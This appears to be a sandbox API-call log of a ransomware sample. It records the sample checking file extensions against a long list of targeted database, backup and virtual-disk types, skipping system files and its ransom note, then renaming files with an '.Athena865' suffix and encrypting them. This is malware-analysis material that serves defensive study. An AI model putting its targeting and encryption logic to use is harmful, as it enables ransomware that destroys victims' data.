lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0108.697] lstrlenW (lpString="nnt") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0108.697] lstrlenW (lpString="nrmlib") returned 6 [0108.697] lstrcmpiW (lpString1="lm.dat", lpString2="nrmlib") returned -1 [0108.697] lstrlenW (lpString="ns2") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0108.697] lstrlenW (lpString="ns3") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0108.697] lstrlenW (lpString="ns4") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0108.697] lstrlenW (lpString="nsf") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0108.697] lstrlenW (lpString="nv") returned 2 [0108.697] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0108.697] lstrlenW (lpString="nv2") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0108.697] lstrlenW (lpString="nwdb") returned 4 [0108.697] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0108.697] lstrlenW (lpString="nyf") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0108.697] lstrlenW (lpString="odb") returned 3 [0108.697] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.698] lstrlenW (lpString="odb") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.698] lstrlenW (lpString="oqy") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0108.698] lstrlenW (lpString="ora") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0108.698] lstrlenW (lpString="orx") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0108.698] lstrlenW (lpString="owc") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0108.698] lstrlenW (lpString="p96") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0108.698] lstrlenW (lpString="p97") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0108.698] lstrlenW (lpString="pan") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0108.698] lstrlenW (lpString="pdb") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0108.698] lstrlenW (lpString="pdm") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0108.698] lstrlenW (lpString="pnz") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0108.698] lstrlenW (lpString="qry") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0108.698] lstrlenW (lpString="qvd") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0108.698] lstrlenW (lpString="rbf") returned 3 [0108.698] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0108.698] lstrlenW (lpString="rctd") returned 4 [0108.698] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0108.699] lstrlenW (lpString="rod") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0108.699] lstrlenW (lpString="rodx") returned 4 [0108.699] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0108.699] lstrlenW (lpString="rpd") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0108.699] lstrlenW (lpString="rsd") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0108.699] lstrlenW (lpString="sas7bdat") returned 8 [0108.699] lstrcmpiW (lpString1="nclm.dat", lpString2="sas7bdat") returned -1 [0108.699] lstrlenW (lpString="sbf") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0108.699] lstrlenW (lpString="scx") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0108.699] lstrlenW (lpString="sdb") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0108.699] lstrlenW (lpString="sdc") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0108.699] lstrlenW (lpString="sdf") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0108.699] lstrlenW (lpString="sis") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0108.699] lstrlenW (lpString="spq") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0108.699] lstrlenW (lpString="te") returned 2 [0108.699] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0108.699] lstrlenW (lpString="teacher") returned 7 [0108.699] lstrcmpiW (lpString1="clm.dat", lpString2="teacher") returned -1 [0108.699] lstrlenW (lpString="tmd") returned 3 [0108.699] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0108.699] lstrlenW (lpString="tps") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0108.700] lstrlenW (lpString="trc") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.700] lstrlenW (lpString="trc") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.700] lstrlenW (lpString="trm") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0108.700] lstrlenW (lpString="udb") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0108.700] lstrlenW (lpString="udl") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0108.700] lstrlenW (lpString="usr") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0108.700] lstrlenW (lpString="v12") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0108.700] lstrlenW (lpString="vis") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0108.700] lstrlenW (lpString="vpd") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0108.700] lstrlenW (lpString="vvv") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0108.700] lstrlenW (lpString="wdb") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0108.700] lstrlenW (lpString="wmdb") returned 4 [0108.700] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0108.700] lstrlenW (lpString="wrk") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0108.700] lstrlenW (lpString="xdb") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0108.700] lstrlenW (lpString="xld") returned 3 [0108.700] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0108.701] lstrlenW (lpString="xmlff") returned 5 [0108.701] lstrcmpiW (lpString1="m.dat", lpString2="xmlff") returned -1 [0108.701] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.Athena865") returned 73 [0108.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.athena865"), dwFlags=0x1) returned 1 [0108.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.702] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=815680) returned 1 [0108.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.702] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.705] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.705] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.706] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc7540, lpName=0x0) returned 0x17c [0108.707] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc7540) returned 0x2d50000 [0108.741] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.742] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.742] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.742] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.749] CloseHandle (hObject=0x17c) returned 1 [0108.749] CloseHandle (hObject=0x154) returned 1 [0108.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.758] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".") returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="..") returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="windows") returned -1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="bootmgr") returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="temp") returned -1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="pagefile.sys") returned -1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="boot") returned 1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="ids.txt") returned -1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="ntuser.dat") returned -1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="perflogs") returned -1 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="MSBuild") returned -1 [0108.758] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0108.758] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwrlatinlm.dat" | out: lpString1="hwrlatinlm.dat") returned="hwrlatinlm.dat" [0108.758] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0108.758] lstrlenW (lpString="Athena865") returned 9 [0108.758] lstrcmpiW (lpString1="tinlm.dat", lpString2="Athena865") returned 1 [0108.758] lstrlenW (lpString=".dll") returned 4 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".dll") returned 1 [0108.758] lstrlenW (lpString=".lnk") returned 4 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".lnk") returned 1 [0108.758] lstrlenW (lpString=".ini") returned 4 [0108.758] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".ini") returned 1 [0108.758] lstrlenW (lpString=".sys") returned 4 [0108.759] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".sys") returned 1 [0108.759] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0108.759] lstrlenW (lpString="bak") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0108.759] lstrlenW (lpString="ba_") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0108.759] lstrlenW (lpString="dbb") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0108.759] lstrlenW (lpString="vmdk") returned 4 [0108.759] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0108.759] lstrlenW (lpString="rar") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0108.759] lstrlenW (lpString="zip") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0108.759] lstrlenW (lpString="tgz") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0108.759] lstrlenW (lpString="vbox") returned 4 [0108.759] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0108.759] lstrlenW (lpString="vdi") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0108.759] lstrlenW (lpString="vhd") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0108.759] lstrlenW (lpString="vhdx") returned 4 [0108.759] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0108.759] lstrlenW (lpString="avhd") returned 4 [0108.759] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0108.759] lstrlenW (lpString="db") returned 2 [0108.759] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0108.759] lstrlenW (lpString="db2") returned 3 [0108.759] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0108.759] lstrlenW (lpString="db3") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0108.760] lstrlenW (lpString="dbf") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0108.760] lstrlenW (lpString="mdf") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0108.760] lstrlenW (lpString="mdb") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0108.760] lstrlenW (lpString="sql") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0108.760] lstrlenW (lpString="sqlite") returned 6 [0108.760] lstrcmpiW (lpString1="lm.dat", lpString2="sqlite") returned -1 [0108.760] lstrlenW (lpString="sqlite3") returned 7 [0108.760] lstrcmpiW (lpString1="nlm.dat", lpString2="sqlite3") returned -1 [0108.760] lstrlenW (lpString="sqlitedb") returned 8 [0108.760] lstrcmpiW (lpString1="inlm.dat", lpString2="sqlitedb") returned -1 [0108.760] lstrlenW (lpString="xml") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0108.760] lstrlenW (lpString="$er") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0108.760] lstrlenW (lpString="4dd") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0108.760] lstrlenW (lpString="4dl") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0108.760] lstrlenW (lpString="^^^") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0108.760] lstrlenW (lpString="abs") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0108.760] lstrlenW (lpString="abx") returned 3 [0108.760] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0108.760] lstrlenW (lpString="accdb") returned 5 [0108.760] lstrcmpiW (lpString1="m.dat", lpString2="accdb") returned 1 [0108.761] lstrlenW (lpString="accdc") returned 5 [0108.761] lstrcmpiW (lpString1="m.dat", lpString2="accdc") returned 1 [0108.761] lstrlenW (lpString="accde") returned 5 [0108.761] lstrcmpiW (lpString1="m.dat", lpString2="accde") returned 1 [0108.761] lstrlenW (lpString="accdr") returned 5 [0108.761] lstrcmpiW (lpString1="m.dat", lpString2="accdr") returned 1 [0108.761] lstrlenW (lpString="accdt") returned 5 [0108.761] lstrcmpiW (lpString1="m.dat", lpString2="accdt") returned 1 [0108.761] lstrlenW (lpString="accdw") returned 5 [0108.761] lstrcmpiW (lpString1="m.dat", lpString2="accdw") returned 1 [0108.761] lstrlenW (lpString="accft") returned 5 [0108.761] lstrcmpiW (lpString1="m.dat", lpString2="accft") returned 1 [0108.761] lstrlenW (lpString="adb") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.761] lstrlenW (lpString="adb") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.761] lstrlenW (lpString="ade") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0108.761] lstrlenW (lpString="adf") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0108.761] lstrlenW (lpString="adn") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0108.761] lstrlenW (lpString="adp") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0108.761] lstrlenW (lpString="alf") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0108.761] lstrlenW (lpString="ask") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0108.761] lstrlenW (lpString="btr") returned 3 [0108.761] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0108.761] lstrlenW (lpString="cat") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0108.762] lstrlenW (lpString="cdb") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0108.762] lstrlenW (lpString="ckp") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0108.762] lstrlenW (lpString="cma") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0108.762] lstrlenW (lpString="cpd") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0108.762] lstrlenW (lpString="dacpac") returned 6 [0108.762] lstrcmpiW (lpString1="lm.dat", lpString2="dacpac") returned 1 [0108.762] lstrlenW (lpString="dad") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0108.762] lstrlenW (lpString="dadiagrams") returned 10 [0108.762] lstrcmpiW (lpString1="atinlm.dat", lpString2="dadiagrams") returned -1 [0108.762] lstrlenW (lpString="daschema") returned 8 [0108.762] lstrcmpiW (lpString1="inlm.dat", lpString2="daschema") returned 1 [0108.762] lstrlenW (lpString="db-journal") returned 10 [0108.762] lstrcmpiW (lpString1="atinlm.dat", lpString2="db-journal") returned -1 [0108.762] lstrlenW (lpString="db-shm") returned 6 [0108.762] lstrcmpiW (lpString1="lm.dat", lpString2="db-shm") returned 1 [0108.762] lstrlenW (lpString="db-wal") returned 6 [0108.762] lstrcmpiW (lpString1="lm.dat", lpString2="db-wal") returned 1 [0108.762] lstrlenW (lpString="dbc") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0108.762] lstrlenW (lpString="dbs") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0108.762] lstrlenW (lpString="dbt") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0108.762] lstrlenW (lpString="dbv") returned 3 [0108.762] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0108.762] lstrlenW (lpString="dbx") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0108.763] lstrlenW (lpString="dcb") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0108.763] lstrlenW (lpString="dct") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0108.763] lstrlenW (lpString="dcx") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0108.763] lstrlenW (lpString="ddl") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0108.763] lstrlenW (lpString="dlis") returned 4 [0108.763] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0108.763] lstrlenW (lpString="dp1") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0108.763] lstrlenW (lpString="dqy") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0108.763] lstrlenW (lpString="dsk") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0108.763] lstrlenW (lpString="dsn") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0108.763] lstrlenW (lpString="dtsx") returned 4 [0108.763] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0108.763] lstrlenW (lpString="dxl") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0108.763] lstrlenW (lpString="eco") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0108.763] lstrlenW (lpString="ecx") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0108.763] lstrlenW (lpString="edb") returned 3 [0108.763] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0108.764] lstrlenW (lpString="epim") returned 4 [0108.764] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0108.764] lstrlenW (lpString="fcd") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0108.764] lstrlenW (lpString="fdb") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0108.764] lstrlenW (lpString="fic") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0108.764] lstrlenW (lpString="flexolibrary") returned 12 [0108.764] lstrcmpiW (lpString1="rlatinlm.dat", lpString2="flexolibrary") returned 1 [0108.764] lstrlenW (lpString="fm5") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0108.764] lstrlenW (lpString="fmp") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0108.764] lstrlenW (lpString="fmp12") returned 5 [0108.764] lstrcmpiW (lpString1="m.dat", lpString2="fmp12") returned 1 [0108.764] lstrlenW (lpString="fmpsl") returned 5 [0108.764] lstrcmpiW (lpString1="m.dat", lpString2="fmpsl") returned 1 [0108.764] lstrlenW (lpString="fol") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0108.764] lstrlenW (lpString="fp3") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0108.764] lstrlenW (lpString="fp4") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0108.764] lstrlenW (lpString="fp5") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0108.764] lstrlenW (lpString="fp7") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0108.764] lstrlenW (lpString="fpt") returned 3 [0108.764] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0108.764] lstrlenW (lpString="frm") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0108.765] lstrlenW (lpString="gdb") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.765] lstrlenW (lpString="gdb") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.765] lstrlenW (lpString="grdb") returned 4 [0108.765] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0108.765] lstrlenW (lpString="gwi") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0108.765] lstrlenW (lpString="hdb") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0108.765] lstrlenW (lpString="his") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0108.765] lstrlenW (lpString="ib") returned 2 [0108.765] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0108.765] lstrlenW (lpString="idb") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0108.765] lstrlenW (lpString="ihx") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0108.765] lstrlenW (lpString="itdb") returned 4 [0108.765] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0108.765] lstrlenW (lpString="itw") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0108.765] lstrlenW (lpString="jet") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0108.765] lstrlenW (lpString="jtx") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0108.765] lstrlenW (lpString="kdb") returned 3 [0108.765] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0108.765] lstrlenW (lpString="kexi") returned 4 [0108.766] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0108.766] lstrlenW (lpString="kexic") returned 5 [0108.766] lstrcmpiW (lpString1="m.dat", lpString2="kexic") returned 1 [0108.766] lstrlenW (lpString="kexis") returned 5 [0108.766] lstrcmpiW (lpString1="m.dat", lpString2="kexis") returned 1 [0108.766] lstrlenW (lpString="lgc") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0108.766] lstrlenW (lpString="lwx") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0108.766] lstrlenW (lpString="maf") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0108.766] lstrlenW (lpString="maq") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0108.766] lstrlenW (lpString="mar") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0108.766] lstrlenW (lpString="marshal") returned 7 [0108.766] lstrcmpiW (lpString1="nlm.dat", lpString2="marshal") returned 1 [0108.766] lstrlenW (lpString="mas") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0108.766] lstrlenW (lpString="mav") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0108.766] lstrlenW (lpString="maw") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0108.766] lstrlenW (lpString="mdbhtml") returned 7 [0108.766] lstrcmpiW (lpString1="nlm.dat", lpString2="mdbhtml") returned 1 